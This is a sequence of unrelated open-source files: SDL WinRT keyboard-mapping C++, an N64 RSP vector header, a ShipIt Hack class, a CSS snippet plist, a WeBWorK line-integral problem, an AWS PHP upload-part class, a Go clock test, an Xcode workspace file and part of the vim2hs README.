SDL_SCANCODE_MENU, /* VirtualKey.RightMenu -- 165 */\n SDL_SCANCODE_AC_BACK, /* VirtualKey.GoBack -- 166 : The go back key. */\n SDL_SCANCODE_AC_FORWARD, /* VirtualKey.GoForward -- 167 : The go forward key. */\n SDL_SCANCODE_AC_REFRESH, /* VirtualKey.Refresh -- 168 : The refresh key. */\n SDL_SCANCODE_AC_STOP, /* VirtualKey.Stop -- 169 : The stop key. */\n SDL_SCANCODE_AC_SEARCH, /* VirtualKey.Search -- 170 : The search key. */\n SDL_SCANCODE_AC_BOOKMARKS, /* VirtualKey.Favorites -- 171 : The favorites key. */\n SDL_SCANCODE_AC_HOME /* VirtualKey.GoHome -- 172 : The go home key. */\n};\n\n/* Attempt to translate a keycode that isn't listed in WinRT's VirtualKey enum.\n */\nstatic SDL_Scancode\nWINRT_TranslateUnofficialKeycode(int keycode)\n{\n switch (keycode) {\n case 173: return SDL_SCANCODE_MUTE; /* VK_VOLUME_MUTE */\n case 174: return SDL_SCANCODE_VOLUMEDOWN; /* VK_VOLUME_DOWN */\n case 175: return SDL_SCANCODE_VOLUMEUP; /* VK_VOLUME_UP */\n case 176: return SDL_SCANCODE_AUDIONEXT; /* VK_MEDIA_NEXT_TRACK */\n case 177: return SDL_SCANCODE_AUDIOPREV; /* VK_MEDIA_PREV_TRACK */\n // case 178: return ; /* VK_MEDIA_STOP */\n case 179: return SDL_SCANCODE_AUDIOPLAY; /* VK_MEDIA_PLAY_PAUSE */\n case 180: return SDL_SCANCODE_MAIL; /* VK_LAUNCH_MAIL */\n case 181: return SDL_SCANCODE_MEDIASELECT; /* VK_LAUNCH_MEDIA_SELECT */\n // case 182: return ; /* VK_LAUNCH_APP1 */\n case 183: return SDL_SCANCODE_CALCULATOR; /* VK_LAUNCH_APP2 */\n // case 184: return ; /* ... reserved ... */\n // case 185: return ; /* ... reserved ... */\n case 186: return SDL_SCANCODE_SEMICOLON; /* VK_OEM_1, ';:' key on US standard keyboards */\n case 187: return SDL_SCANCODE_EQUALS; /* VK_OEM_PLUS */\n case 188: return SDL_SCANCODE_COMMA; /* VK_OEM_COMMA */\n case 189: return SDL_SCANCODE_MINUS; /* VK_OEM_MINUS */\n case 190: return SDL_SCANCODE_PERIOD; /* VK_OEM_PERIOD */\n case 191: return SDL_SCANCODE_SLASH; /* VK_OEM_2, '/?' key on US standard keyboards */\n case 192: return SDL_SCANCODE_GRAVE; /* VK_OEM_3, '`~' key on US standard keyboards */\n // ?\n // ... reserved or unassigned ...\n // ?\n case 219: return SDL_SCANCODE_LEFTBRACKET; /* VK_OEM_4, '[{' key on US standard keyboards */\n case 220: return SDL_SCANCODE_BACKSLASH; /* VK_OEM_5, '\\|' key on US standard keyboards */\n case 221: return SDL_SCANCODE_RIGHTBRACKET; /* VK_OEM_6, ']}' key on US standard keyboards */\n case 222: return SDL_SCANCODE_APOSTROPHE; /* VK_OEM_7, 'single/double quote' on US standard keyboards */\n default: break;\n }\n return SDL_SCANCODE_UNKNOWN;\n}\n\nstatic SDL_Scancode\nWINRT_TranslateKeycode(int keycode, unsigned int nativeScancode)\n{\n // TODO, WinRT: try filling out the WinRT keycode table as much as possible, using the Win32 table for interpretation hints\n\n SDL_Scancode scancode = SDL_SCANCODE_UNKNOWN;\n\n /* HACK ALERT: At least one VirtualKey constant (Shift) with a left/right\n * designation might not get reported with its correct handedness, however\n * its hardware scan code can fill in the gaps. If this is detected,\n * use the hardware scan code to try telling if the left, or the right\n * side's key was used.\n *\n * If Microsoft ever allows MapVirtualKey or MapVirtualKeyEx to be used\n * in WinRT apps, or something similar to these (it doesn't appear to be,\n * at least not for Windows [Phone] 8/8.1, as of Oct 24, 2014), then this\n * hack might become deprecated, or obsolete.\n */\n if (nativeScancode < SDL_arraysize(windows_scancode_table)) {\n switch (keycode) {\n case 16: // VirtualKey.Shift\n switch (windows_scancode_table[nativeScancode]) {\n case SDL_SCANCODE_LSHIFT:\n case SDL_SCANCODE_RSHIFT:\n return windows_scancode_table[nativeScancode];\n }\n break;\n \n // Add others, as necessary.\n //\n // Unfortunately, this hack doesn't seem to work in determining\n // handedness with Control keys.\n\n default:\n break;\n }\n }\n\n /* Try to get a documented, WinRT, 'VirtualKey' next (as documented at\n http://msdn.microsoft.com/en-us/library/windows/apps/windows.system.virtualkey.aspx ).\n If that fails, fall back to a Win32 virtual key.\n If that fails, attempt to fall back to a scancode-derived key.\n */\n if (keycode < SDL_arraysize(WinRT_Official_Keycodes)) {\n scancode = WinRT_Official_Keycodes[keycode];\n }\n if (scancode == SDL_SCANCODE_UNKNOWN) {\n scancode = WINRT_TranslateUnofficialKeycode(keycode);\n }\n if (scancode == SDL_SCANCODE_UNKNOWN) {\n if (nativeScancode < SDL_arraysize(windows_scancode_table)) {\n scancode = windows_scancode_table[nativeScancode];\n }\n }\n /*\n if (scancode == SDL_SCANCODE_UNKNOWN) {\n SDL_Log(\"WinRT TranslateKeycode, unknown keycode=%d\\n\", (int)keycode);\n }\n */\n return scancode;\n}\n\nvoid\nWINRT_ProcessKeyDownEvent(Windows::UI::Core::KeyEventArgs ^args)\n{\n SDL_Scancode sdlScancode = WINRT_TranslateKeycode((int)args->VirtualKey, args->KeyStatus.ScanCode);\n#if 0\n SDL_Keycode keycode = SDL_GetKeyFromScancode(sdlScancode);\n SDL_Log(\"key down, handled=%s, ext?=%s, released?=%s, menu key down?=%s, \"\n \"repeat count=%d, native scan code=0x%x, was down?=%s, vkey=%d, \"\n \"sdl scan code=%d (%s), sdl key code=%d (%s)\\n\",\n (args->Handled ? \"1\" : \"0\"),\n (args->KeyStatus.IsExtendedKey ? \"1\" : \"0\"),\n (args->KeyStatus.IsKeyReleased ? \"1\" : \"0\"),\n (args->KeyStatus.IsMenuKeyDown ? \"1\" : \"0\"),\n args->KeyStatus.RepeatCount,\n args->KeyStatus.ScanCode,\n (args->KeyStatus.WasKeyDown ? \"1\" : \"0\"),\n args->VirtualKey,\n sdlScancode,\n SDL_GetScancodeName(sdlScancode),\n keycode,\n SDL_GetKeyName(keycode));\n //args->Handled = true;\n#endif\n SDL_SendKeyboardKey(SDL_PRESSED, sdlScancode);\n}\n\nvoid\nWINRT_ProcessKeyUpEvent(Windows::UI::Core::KeyEventArgs ^args)\n{\n SDL_Scancode sdlScancode = WINRT_TranslateKeycode((int)args->VirtualKey, args->KeyStatus.ScanCode);\n#if 0\n SDL_Keycode keycode = SDL_GetKeyFromScancode(sdlScancode);\n SDL_Log(\"key up, handled=%s, ext?=%s, released?=%s, menu key down?=%s, \"\n \"repeat count=%d, native scan code=0x%x, was down?=%s, vkey=%d, \"\n \"sdl scan code=%d (%s), sdl key code=%d (%s)\\n\",\n (args->Handled ? \"1\" : \"0\"),\n (args->KeyStatus.IsExtendedKey ? \"1\" : \"0\"),\n (args->KeyStatus.IsKeyReleased ? \"1\" : \"0\"),\n (args->KeyStatus.IsMenuKeyDown ? \"1\" : \"0\"),\n args->KeyStatus.RepeatCount,\n args->KeyStatus.ScanCode,\n (args->KeyStatus.WasKeyDown ? \"1\" : \"0\"),\n args->VirtualKey,\n sdlScancode,\n SDL_GetScancodeName(sdlScancode),\n keycode,\n SDL_GetKeyName(keycode));\n //args->Handled = true;\n#endif\n SDL_SendKeyboardKey(SDL_RELEASED, sdlScancode);\n}\n\nvoid\nWINRT_ProcessCharacterReceivedEvent(Windows::UI::Core::CharacterReceivedEventArgs ^args)\n{\n wchar_t src_ucs2[2];\n char dest_utf8[16];\n int result;\n\n /* Setup src */\n src_ucs2[0] = args->KeyCode;\n src_ucs2[1] = L'\\0';\n\n /* Convert the text, then send an SDL_TEXTINPUT event. */\n result = WideCharToMultiByte(CP_UTF8, 0, (LPCWSTR)&src_ucs2, -1, (LPSTR)dest_utf8, sizeof(dest_utf8), NULL, NULL);\n if (result > 0) {\n SDL_SendKeyboardText(dest_utf8);\n }\n}\n\n\n#if NTDDI_VERSION >= NTDDI_WIN10\n\nSDL_bool WINRT_HasScreenKeyboardSupport(_THIS)\n{\n return SDL_TRUE;\n}\n\nvoid WINRT_ShowScreenKeyboard(_THIS, SDL_Window *window)\n{\n using namespace Windows::UI::ViewManagement;\n InputPane ^ inputPane = InputPane::GetForCurrentView();\n if (inputPane) {\n inputPane->TryShow();\n }\n}\n\nvoid WINRT_HideScreenKeyboard(_THIS, SDL_Window *window)\n{\n using namespace Windows::UI::ViewManagement;\n InputPane ^ inputPane = InputPane::GetForCurrentView();\n if (inputPane) {\n inputPane->TryHide();\n }\n}\n\nSDL_bool WINRT_IsScreenKeyboardShown(_THIS, SDL_Window *window)\n{\n using namespace Windows::UI::ViewManagement;\n InputPane ^ inputPane = InputPane::GetForCurrentView();\n if (inputPane) {\n // dludwig@pobox.com: checking inputPane->Visible doesn't seem to detect visibility,\n // at least not on the Windows Phone 10.0.10240.0 emulator. Checking\n // the size of inputPane->OccludedRect, however, does seem to work.\n Windows::Foundation::Rect rect = inputPane->OccludedRect;\n if (rect.Width > 0 && rect.Height > 0) {\n return SDL_TRUE;\n }\n }\n return SDL_FALSE;\n}\n\n#endif // NTDDI_VERSION >= ...\n\n#endif // SDL_VIDEO_DRIVER_WINRT\n"} {"text": "//\n// arch/x86_64/rsp/rsp.h\n//\n// Extern declarations for host RSP functions.\n//\n// This file is subject to the terms and conditions defined in\n// 'LICENSE', which is part of this source code package.\n//\n\n#ifndef __arch_rsp_h__\n#define __arch_rsp_h__\n\n#ifdef __ARM_NEON\n#define __SSSE3__\n#include \"SSE2NEON.h\"\n#elif defined(__SSE4_2__)\n#include <nmmintrin.h>\n#elif defined(__SSE4_1__)\n#include <smmintrin.h>\n#elif defined(__SSSE3__)\n#include <tmmintrin.h>\n#elif defined(__SSE3__)\n#include <pmmintrin.h>\n#else\n#include <emmintrin.h>\n#endif\n\n#include <stdint.h>\n\ntypedef __m128i rsp_vect_t;\n\nnamespace RSP\n{\nstruct CPUState;\n}\n\n// Loads and shuffles a 16x8 vector according to element.\n#ifdef __SSSE3__\nextern const uint16_t shuffle_keys[16][8];\n\nstatic inline __m128i rsp_vect_load_and_shuffle_operand(const uint16_t *src, unsigned element)\n{\n\t__m128i operand = _mm_load_si128((__m128i *)src);\n\t__m128i key = _mm_load_si128((__m128i *)shuffle_keys[element]);\n\n\treturn _mm_shuffle_epi8(operand, key);\n}\n#else\n__m128i rsp_vect_load_and_shuffle_operand(const uint16_t *src, unsigned element);\n#endif\n\n// Loads a vector without shuffling its elements.\nstatic inline __m128i rsp_vect_load_unshuffled_operand(const uint16_t *src)\n{\n\treturn _mm_load_si128((__m128i *)src);\n}\n\n// Writes an operand back to memory.\nstatic inline void rsp_vect_write_operand(uint16_t *dest, __m128i src)\n{\n\t_mm_store_si128((__m128i *)dest, src);\n}\n\nstatic inline __m128i read_acc_lo(const uint16_t *acc)\n{\n\treturn rsp_vect_load_unshuffled_operand(acc + 16);\n}\nstatic inline __m128i read_acc_md(const uint16_t *acc)\n{\n\treturn rsp_vect_load_unshuffled_operand(acc + 8);\n}\nstatic inline __m128i read_acc_hi(const uint16_t *acc)\n{\n\treturn rsp_vect_load_unshuffled_operand(acc);\n}\nstatic inline __m128i read_vcc_lo(const uint16_t *vcc)\n{\n\treturn rsp_vect_load_unshuffled_operand(vcc + 8);\n}\nstatic inline __m128i read_vcc_hi(const uint16_t *vcc)\n{\n\treturn rsp_vect_load_unshuffled_operand(vcc);\n}\nstatic inline __m128i read_vco_lo(const uint16_t *vco)\n{\n\treturn rsp_vect_load_unshuffled_operand(vco + 8);\n}\nstatic inline __m128i read_vco_hi(const uint16_t *vco)\n{\n\treturn rsp_vect_load_unshuffled_operand(vco);\n}\nstatic inline __m128i read_vce(const uint16_t *vce)\n{\n\treturn rsp_vect_load_unshuffled_operand(vce + 8);\n}\nstatic inline void write_acc_lo(uint16_t *acc, __m128i acc_lo)\n{\n\trsp_vect_write_operand(acc + 16, acc_lo);\n}\nstatic inline void write_acc_md(uint16_t *acc, __m128i acc_md)\n{\n\trsp_vect_write_operand(acc + 8, acc_md);\n}\nstatic inline void write_acc_hi(uint16_t *acc, __m128i acc_hi)\n{\n\trsp_vect_write_operand(acc, acc_hi);\n}\nstatic inline void write_vcc_lo(uint16_t *vcc, __m128i vcc_lo)\n{\n\trsp_vect_write_operand(vcc + 8, vcc_lo);\n}\nstatic inline void write_vcc_hi(uint16_t *vcc, __m128i vcc_hi)\n{\n\trsp_vect_write_operand(vcc, vcc_hi);\n}\nstatic inline void write_vco_lo(uint16_t *vco, __m128i vco_lo)\n{\n\trsp_vect_write_operand(vco + 8, vco_lo);\n}\nstatic inline void write_vco_hi(uint16_t *vco, __m128i vco_hi)\n{\n\trsp_vect_write_operand(vco, vco_hi);\n}\nstatic inline void write_vce(uint16_t *vce, __m128i vce_r)\n{\n\trsp_vect_write_operand(vce + 8, vce_r);\n}\n\n// Returns scalar bitmasks for VCO/VCC/VCE.\nstatic inline int16_t rsp_get_flags(const uint16_t *flags)\n{\n\treturn (int16_t)_mm_movemask_epi8(\n\t _mm_packs_epi16(_mm_load_si128((__m128i *)(flags + 8)), _mm_load_si128((__m128i *)(flags + 0))));\n}\n\nvoid rsp_set_flags(uint16_t *flags, uint16_t rt);\n\n// Zeroes out a vector register.\nstatic inline __m128i rsp_vzero(void)\n{\n\treturn _mm_setzero_si128();\n}\n\nextern const uint16_t vdiv_mask_table[8][8];\n\n#define HES(x) ((x) ^ 2)\n#define BES(x) ((x) ^ 3)\n#define MES(x) ((x) ^ 1)\n\n#define READ_MEM_U8(mem, addr) (reinterpret_cast<const uint8_t *>(mem)[BES(addr)])\n#define READ_MEM_U16(mem, addr) (reinterpret_cast<const uint16_t *>(mem)[HES(addr) >> 1])\n#define READ_MEM_U32(mem, addr) (reinterpret_cast<const uint32_t *>(mem)[addr >> 2])\n\n#define WRITE_MEM_U8(mem, addr, data) (reinterpret_cast<uint8_t *>(mem)[BES(addr)] = data)\n#define WRITE_MEM_U16(mem, addr, data) (reinterpret_cast<uint16_t *>(mem)[HES(addr) >> 1] = data)\n#define WRITE_MEM_U32(mem, addr, data) (reinterpret_cast<uint32_t *>(mem)[addr >> 2] = data)\n\n#endif\n"} {"text": "<?hh // strict\n/**\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n/**\n * This file was moved from fbsource to www. View old history in diffusion:\n * https://fburl.com/aa279jbn\n */\nnamespace Facebook\\ShipIt;\n\nuse namespace HH\\Lib\\Str;\n\nfinal class ShipItSyncPhase extends ShipItPhase {\n private ?string $firstCommit = null;\n private keyset<string> $skippedSourceCommits = keyset[];\n private ?string $patchesDirectory = null;\n private ?string $statsFilename = null;\n private bool $shouldDoSubmodules = true;\n\n public function __construct(\n private ShipItSyncConfig::TFilterFn $filter,\n private keyset<string> $destinationRoots = keyset[],\n private ?ShipItSyncConfig::TPostFilterChangesetsFn $postFilterChangesets =\n null,\n private ?bool $allowEmptyCommit = false,\n ) {}\n\n <<__Override>>\n protected function isProjectSpecific(): bool {\n return false;\n }\n\n <<__Override>>\n public function getReadableName(): string {\n return 'Synchronize commits';\n }\n\n <<__Override>>\n public function getCLIArguments(): vec<ShipItCLIArgument> {\n return vec[\n shape(\n 'long_name' => 'skip-sync-commits',\n 'description' => \"Don't copy any commits. Handy for testing.\",\n 'write' => $_ ==> $this->skip(),\n ),\n shape(\n 'long_name' => 'first-commit::',\n 'description' => 'Hash of first commit that needs to be synced',\n 'write' => $x ==> {\n $this->firstCommit = $x;\n return $this->firstCommit;\n },\n ),\n shape(\n 'long_name' => 'save-patches-to::',\n 'description' =>\n 'Directory to copy created patches to. Useful for '.'debugging',\n 'write' => $x ==> {\n $this->patchesDirectory = $x;\n return $this->patchesDirectory;\n },\n ),\n shape(\n 'long_name' => 'skip-source-commits::',\n 'description' => \"Comma-separate list of source commit IDs to skip.\",\n 'write' => $x ==> {\n $this->skippedSourceCommits = keyset(Str\\split($x, ','));\n foreach ($this->skippedSourceCommits as $commit) {\n // 7 happens to be the usual output\n if (Str\\length($commit) < ShipItChangeset::SHORT_REV_LENGTH) {\n throw new ShipItException(\n 'Skipped rev '.\n $commit.\n ' is potentially ambiguous; use a '.\n 'longer id instead.',\n );\n }\n }\n return true;\n },\n ),\n shape(\n 'long_name' => 'log-sync-stats-to::',\n 'description' => 'The filename to log a JSON-encoded file with stats '.\n 'about the sync, or a directory name to log a file '.\n 'for each configured branch.',\n 'write' => $x ==> {\n $this->statsFilename = $x;\n return $this->statsFilename;\n },\n ),\n shape(\n 'long_name' => 'skip-post-filter-changesets',\n 'description' =>\n 'Skip any custom definitions for processing changesets after syncing',\n 'write' => $_ ==> {\n $this->postFilterChangesets = null;\n return $this->postFilterChangesets;\n },\n ),\n shape(\n 'long_name' => 'skip-submodules',\n 'description' => 'Don\\'t sync submodules',\n 'write' => $_ ==> {\n $this->shouldDoSubmodules = false;\n return $this->shouldDoSubmodules;\n },\n ),\n ];\n }\n\n <<__Override>>\n protected function runImpl(ShipItManifest $manifest): void {\n $sync = (\n new ShipItSyncConfig(\n $manifest->getSourceRoots(),\n $this->filter,\n $this->postFilterChangesets,\n )\n )\n ->withDestinationRoots($this->destinationRoots)\n ->withFirstCommit($this->firstCommit)\n ->withSkippedSourceCommits($this->skippedSourceCommits)\n ->withPatchesDirectory($this->patchesDirectory)\n ->withStatsFilename($this->statsFilename)\n ->withAllowEmptyCommits($this->allowEmptyCommit)\n ->withShouldDoSubmodules($this->shouldDoSubmodules);\n\n (new ShipItSync($manifest, $sync))->run();\n }\n}\n"} {"text": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n\t<key>content</key>\n\t<string>max-width: ${1:20}${2:px};$0</string>\n\t<key>name</key>\n\t<string>max-width: length</string>\n\t<key>scope</key>\n\t<string>source.css</string>\n\t<key>tabTrigger</key>\n\t<string>mw</string>\n\t<key>uuid</key>\n\t<string>1AAF1317-1228-4A37-844B-B096A8ABEB41</string>\n</dict>\n</plist>\n"} {"text": "## DBsubject(Calculus - multivariable)\n## DBchapter(Vector calculus)\n## DBsection(Line integrals)\n## Institution(W.H.Freeman)\n## Author(JustAsk - Kobi Fonarov)\n## MLT(my_new_Line_Integrals)\n## Level(3)\n## MO(1)\n## TitleText1('Calculus: Early Transcendentals')\n## AuthorText1('Rogawski')\n## EditionText1('2')\n## Section1('16.2')\n## Problem1('21')\n## KEYWORDS('calculus')\n## RESOURCES('image_16_2_25.png')\n\nDOCUMENT();\n\nloadMacros(\n \"PGstandard.pl\",\n \"Parser.pl\",\n \"freemanMacros.pl\",\n \"PGgraphmacros.pl\",\n \"PGchoicemacros.pl\",\n \"PGcourse.pl\"\n);\n\nTEXT(beginproblem());\n\nContext()->texStrings;\n\n$r=random(1,9);\n$r2=$r**2;\n$a=random(2,9);\n$ar=$a*$r;\n$ar2=$ar*$r;\n\n$curve=\"\\mathcal{C}\";\n$path=\"\\mathbf{c}\";\n$FF=\"\\mathbf{F}\";\n$answer=Real($ar2*2*$PI);\n\nBEGIN_TEXT\n\\{ textbook_ref_exact(\"Rogawski ET 2e\", \"16.2\",\"21\") \\}\n$PAR \nCompute the line integral of the vector field \\(\\mathbf{F}=\\left< $a y,-$a x\\right> \\) over the circle \\(x^2+y^2=$r2\\) oriented clockwise\n\n$PAR\n\\(\\int_{$curve} $FF \\cdot \\,d\\mathbf{\\,s} =\\) \\{ans_rule()\\}\n$PAR\n\nEND_TEXT \nContext()->normalStrings;\n\nANS($answer->cmp);\n\n\nContext()->texStrings;\nSOLUTION(EV3(<<'END_SOLUTION'));\n$PAR\n$SOL $BR\n\\{image(\"image_16_2_25.png\", width=>220, height=>221)\\} With \\(r_0=$r\\) \n$PAR\nThe oriented path is parametrized by $PAR\n\\(\\mathbf{c}(t)=($r\\cos t,$r\\sin t); \\quad t\\) is changing from \\(2\\pi \\) to \\(0\\). $PAR\nWe compute the integrand:\n\\[\n$FF \\left(\\mathbf{c}(t)\\right) =\n\\left<$a y,- $a x \\right> =\n\\left< $ar \\sin t,-$ar \\cos t \\right>\n\\]\n\\[\\mathbf{c}'(t)= \\left< -$r \\sin t,$r \\cos t \\right> \\]\n\\[\n$FF \\left(\\mathbf{c}(t)\\right)\\cdot {\\mathbf{c}}'(t) =\n\\left< $ar \\sin t,-$ar \\cos t \\right> \\cdot \\left< -$r \\sin t,$r \\cos t\\right>= \n\\]\\[\n-$ar2 \\sin^2t -$ar2\\cos^2t =-$ar2\n\\]\nHence,\n\\[\n\\int_{$curve} $FF \\cdot \\,d\\mathbf{\\,s} =\n\\int_{2\\pi }^0 $FF \\left(\\mathbf{c}(t)\\right)\\cdot {\\mathbf{c}}'(t) \\,dt=\n\\int_{2\\pi }^0 -$ar2 \\,dt=\n\\]\\[\n-$ar2 t \\bigg|_{2\\pi}^0=\n\\{$ar2*2\\} \\pi\n\\]\n\nEND_SOLUTION\n\nENDDOCUMENT();\n"} {"text": "<?php\n/**\n * Copyright 2010-2013 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\").\n * You may not use this file except in compliance with the License.\n * A copy of the License is located at\n *\n * http://aws.amazon.com/apache2.0\n *\n * or in the \"license\" file accompanying this file. This file is distributed\n * on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either\n * express or implied. See the License for the specific language governing\n * permissions and limitations under the License.\n */\n\nnamespace Aws\\Common\\Model\\MultipartUpload;\n\nuse Aws\\Common\\Exception\\InvalidArgumentException;\n\n/**\n * An object that encapsulates the data for an upload part\n */\nabstract class AbstractUploadPart implements UploadPartInterface\n{\n /**\n * @var array A map of external array keys to internal property names\n */\n protected static $keyMap = array();\n\n /**\n * @var int The number of the upload part representing its order in the overall upload\n */\n protected $partNumber;\n\n /**\n * {@inheritdoc}\n */\n public static function fromArray($data)\n {\n $part = new static();\n $part->loadData($data);\n\n return $part;\n }\n\n /**\n * {@inheritdoc}\n */\n public function getPartNumber()\n {\n return $this->partNumber;\n }\n\n /**\n * {@inheritdoc}\n */\n public function toArray()\n {\n $array = array();\n foreach (static::$keyMap as $key => $property) {\n $array[$key] = $this->{$property};\n }\n\n return $array;\n }\n\n /**\n * {@inheritdoc}\n */\n public function serialize()\n {\n return serialize($this->toArray());\n }\n\n /**\n * {@inheritdoc}\n */\n public function unserialize($serialized)\n {\n $this->loadData(unserialize($serialized));\n }\n\n /**\n * Loads an array of data into the upload part by extracting only the needed keys\n *\n * @param array|\\Traversable $data Data to load into the upload part value object\n *\n * @throws InvalidArgumentException if a required key is missing\n */\n protected function loadData($data)\n {\n foreach (static::$keyMap as $key => $property) {\n if (isset($data[$key])) {\n $this->{$property} = $data[$key];\n } else {\n throw new InvalidArgumentException(\"A required key [$key] was missing from the upload part.\");\n }\n }\n }\n}\n"} {"text": "// Copyright (C) 2016 Arista Networks, Inc.\n// Use of this source code is governed by the Apache License 2.0\n\n// Package monotime provides a fast monotonic clock source.\n\npackage monotime\n\nimport (\n\t\"testing\"\n)\n\nfunc TestNow(t *testing.T) {\n\tfor i := 0; i < 100; i++ {\n\t\tt1 := Now()\n\t\tt2 := Now()\n\t\t// I honestly thought that we needed >= here, but in some environments\n\t\t// two consecutive calls can return the same value!\n\t\tif t1 > t2 {\n\t\t\tt.Fatalf(\"t1=%d should have been less than or equal to t2=%d\", t1, t2)\n\t\t}\n\t}\n}\n"} {"text": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Workspace\n version = \"1.0\">\n <FileRef\n location = \"self:OwnTracks.xcodeproj\">\n </FileRef>\n</Workspace>\n"} {"text": "#logo {\n width: 100px;\n height: 100px;\n background: url('../assets/logo.png');\n}\n"} {"text": "`vim2hs ⦂ Vim → Haskell`\n========================\n\n*\"Vim to Haskell\": A collection of vimscripts for Haskell development.*\n\nFeatures\n--------\n\n* Written from scratch for clean and organized code, though some parts are\n borrowed from existing vimscripts.\n* Highlights Haskell code in GitHub Flavored Markdown, and Literate Haskell\n documents as Markdown.\n* Improved syntax highlighting including Haddock markup in comments,\n support for HSP and many quasi-quotes such as jmacro, shqq, regex, sql,\n string interpolation...\n* Liberal syntax highlighting for Cabal package descriptions, yielding less\n false-positives for mistakes than other syntax files for Cabal.\n* Makes Vim aware of Haskell modules and imports allowing you to `gf` with\n the cursor on a module to \"go\" to its source \"file\", etc.\n* Support for using HLint both as a compiler and a command, integrated into\n the quickfix system in Vim.\n* Unicode conceals for various operators and syntax, such as lambda and\n function composition.\n* Integrates with third-party plugins, but doesn't require them:\n snippets for UltiSnips and patterns for Tabular.\n* Posts buffers and line-ranges to [hpaste.org](http://hpaste.org).\n* Highly configurable, most of the above can be disabled if it gets in the\n way.\n\nInstallation\n------------\n\nYou need at least Vim 7.3, and for the HPaste command Python 2, not too\nancient. Beyond that, just clone this repo and add it to your\n`'runtimepath'`. [Vundle](https://github.com/gmarik/vundle) is great for\nautomating that, [Pathogen](https://github.com/tpope/vim-pathogen) is also\npopular.\n\nSee Also\n--------\n\nHere are some other Vimscripts that complement vim2hs nicely:\n\n* Omni completion: [neco-ghc](https://github.com/ujihisa/neco-ghc)\n* Syntax checking and linting:\n [syntastic](https://github.com/scrooloose/syntastic)\n* Type inspection:\n [haskellmode](https://github.com/lukerandall/haskellmode-vim) or (better)\n [ghcmod](https://github.com/eagletmt/ghcmod-vim)\n* Shakespeare templates highlighting:\n [html-template-syntax](https://github.com/pbrisbin/html-template-syntax)\n* Layout as text objects:\n [textobj-indent](https://github.com/kana/vim-textobj-indent) *(vim2hs\n includes a less powerful version of this that I wrote before I discovered\n this Vimscript; it might be removed in favor of this one in the future)*\n\nOverview\n--------\n\n### Top-level Definitions\n\nThe syntax highlighting of top-level definitions are improved in vim2hs:\n\n![Bindings screenshot](https://github.com/dag/vim2hs/raw/master/screenshots/bindings.png)\n\nThis screenshot showcases a number of nice features:\n\n* Type signatures are highlighted as a whole, even if spanning multiple\n lines.\n* In function definitions, the name of the function is highlighted\n differently from its arguments, even if the equal sign is on another line\n (most or all other syntax highlighters get this wrong).\n* Top-level definitions such as functions, classes and instances and data\n declarations form folds, as you can see in the `foldcolumn` to the left\n of the line numbers. Closed folds are given a consistent `foldtext`\n producing a nice overview of the code. Type signatures are intentionally\n not included in the folds, so as to allow you to read the type of folded\n definitions.\n\nIn this screenshot, \"wide conceals\" are enabled, which is what makes the\ntype colons and function arrows display as unicode. This option is\ndisabled by default, since it can mess up the visual alignment between\nlines. To enable it like I have done here, try this:\n\n```vim\nlet g:haskell_conceal_wide = 1\n```\n\nOther options like this that are safer are enabled by default, and can be\ndisabled should you so desire:\n\n```vim\n\" disable all conceals, including the simple ones like\n\" lambda and composition\nlet g:haskell_conceal = 0\n\n\" disable concealing of \"enumerations\": commatized lists like\n\" deriving clauses and LANGUAGE pragmas,\n\" otherwise collapsed into a single ellipsis\nlet g:haskell_conceal_enumerations = 0\n```\n\n### Quasi Quoting\n\nHaskell supports embedding arbitrary syntax that is processed at\ncompile-time. Vim supports embedding external syntax highlighting.\n\n![Quasi Quotes screenshot](https://github.com/dag/vim2hs/raw/master/screenshots/quasi.png)\n\nThese are all enabled by default but you can selectively opt out by adding\nthe relevant configuration overrides to your `~/.vimrc`:\n\n```vim\nlet g:haskell_quasi = 0\nlet g:haskell_interpolation = 0\nlet g:haskell_regex = 0\nlet g:haskell_jmacro = 0\nlet g:haskell_shqq = 0\nlet g:haskell_sql = 0\nlet g:haskell_json = 0\nlet g:haskell_xml = 0\n```\n\n### HSP & Heist\n\n[Haskell Server Pages](http://hackage.haskell.org/package/hsp) and\n[Haskell Source with XML](http://hackage.haskell.org/package/hsx)\npre-processes literal XML in Haskell source code into function application\nand vim2hs provides limited support for this syntax - I have yet to figure\nout how to highlight the body of XML elements differently while still\nhighlighting the attributes as Haskell.\n\n![HSP screenshot](https://github.com/dag/vim2hs/raw/master/screenshots/hsp.png)\n\nThis is enabled by default and can be disabled thusly:\n\n```vim\nlet g:haskell_hsp = 0\n```\n\n[Heist](http://hackage.haskell.org/package/heist) is a simple XML/HTML\ntemplating system; simple enough that you could simply use the `xml` or\n`html` filetype in Vim for these templates. However, it includes a number\nof pre-defined \"splices\" and a special syntax for \"splice interpolation\" in\nattributes. Included with vim2hs is a syntax file for Heist HTML templates\nand automatic filetype detection for `*.tpl` files.\n\n![Heist screenshot](https://github.com/dag/vim2hs/raw/master/screenshots/heist.png)\n\n### Strings\n\nHaskell actually supports multi-line strings by escaping the newline, but I\ndon't think it's a widely used feature and I think quasi quoting is better\nfor such purposes. Thus, by default, I have opted to keep string literals from\ncrossing lines so half your source file doesn't highlight as a string while\nyou're entering one. Instead, string literals without a matching end quote\nhighlight as errors.\n\n![Strings screenshot](https://github.com/dag/vim2hs/raw/master/screenshots/strings.png)\n\nThere is a configuration option for this. To enable multi-line strings, use\nthis:\n\n```vim\n:let g:haskell_multiline_strings = 1\n```\n\n### HLint\n\nHLint is provided as a compiler for Vim.\n\n```vim\n:compiler hlint\n:make\n```\n\nAs a convenience there's also a command that does the above and then resets\nthe compiler to its previous value.\n\n```vim\n:HLint\n```\n\nEither way any HLint suggestions and warnings will be put in Vim's quickfix\nlist and you can jump between them with `:cn` and `:cp`, although I\nrecommend setting up\n[FuzzyFinder](https://github.com/vim-scripts/FuzzyFinder) and using its\n`:FufQuickfix` command instead.\n\n### HPaste\n\nTo pastebin the contents of the current buffer do this:\n\n```vim\n:HPaste\n```\n\nThe newly created paste URL will be put in the `+` register, meaning your\nnormal desktop clipboard.\n\nAlternatively, you can select a 